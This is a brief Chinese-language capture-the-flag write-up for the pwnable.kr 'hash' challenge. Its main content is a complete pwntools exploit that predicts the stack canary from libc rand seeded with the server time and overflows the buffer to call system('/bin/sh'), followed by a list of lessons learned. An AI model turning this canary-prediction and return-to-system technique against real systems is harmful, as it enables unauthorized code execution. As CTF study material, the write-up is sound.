详解看链接

https://www.jianshu.com/p/a9761953676d?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

讲得很好

```
from pwn import *
from ctypes import CDLL
import base64
context.log_level='debug'

libc = CDLL('libc.so.6')
def get_canary(timestamp,ran_val):
    libc.srand(timestamp)
    rands = []
    for i in range(8):
        rands.append(libc.rand())
    res = rands[4]-rands[6]+rands[7]+rands[2]-rands[3]+rands[1]+rands[5]
    canary =  ran_val-res
    if canary<0:
        canary = util.fiddling.negate(-canary)
    return canary

sh = ssh('fix', 'pwnable.kr', port=2222, password='guest')
get_time = sh.process('date +%s',shell=True)
io = sh.remote('0',9002)

#get_time = process('date +%s',shell=True)
#io = process('./hash')

timestamp = int(get_time.recvline().strip('\n'))
get_time.close()
io.recvuntil(' : ')
ran_val = int(io.recvline().strip())
print("ran_val:"+str(ran_val))

canary = get_canary(timestamp,ran_val)

if canary%256!=0:
    print("canary error!")
    exit()

system_addr = 0x8049187
bin_sh =0x0804B3AC

payload = 'A'*512
payload += p32(canary)
payload += 'B'*12
payload += p32(system_addr)
payload += p32(bin_sh)
payload = base64.b64encode(payload)
print(len(payload))
payload += '/bin/sh\x00'

io.sendline(str(ran_val))
io.recvuntil('then paste me!')
io.send(payload)
io.interactive()
```

总结学到的要点

1 c语言的rand函数是伪随机数

2 python调用c语言 dll函数的方法

3 pwntools process的更深理解

4 canary的末字节为全0（即256的倍数）

5 可以同时开启process('date')和连接目标程序获取相同时间，但是实际可能有误差，exp要多打几次才有效